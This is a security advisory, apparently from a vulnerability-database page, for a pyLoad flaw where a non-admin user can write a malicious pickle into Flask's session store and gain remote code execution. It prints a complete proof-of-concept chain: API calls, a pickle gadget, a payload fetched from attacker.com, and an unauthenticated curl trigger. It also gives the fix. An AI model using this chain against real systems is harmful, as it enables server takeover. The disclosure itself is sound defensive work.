| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| pyload-ng | ≤ 0.5.0b3 | |
| pyload | < 2026-04-02 | 2026-04-02 |
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/set_config_value
{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンimport pickle, os, struct
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pyload-rce-success",))
session = {"_permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
# struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/add_package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
The session cookie name is pyload_session_ + the configured port number (__init__.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMIN_ONLY_OPTIONS = {
...
("general", "storage_folder"), # ADDED: prevents session poisoning RCE
...
}
Also correct the existing wrong option names:
("webui", "ssl_certfile"), # FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"), # FIXED: was "ssl_key" (dead code)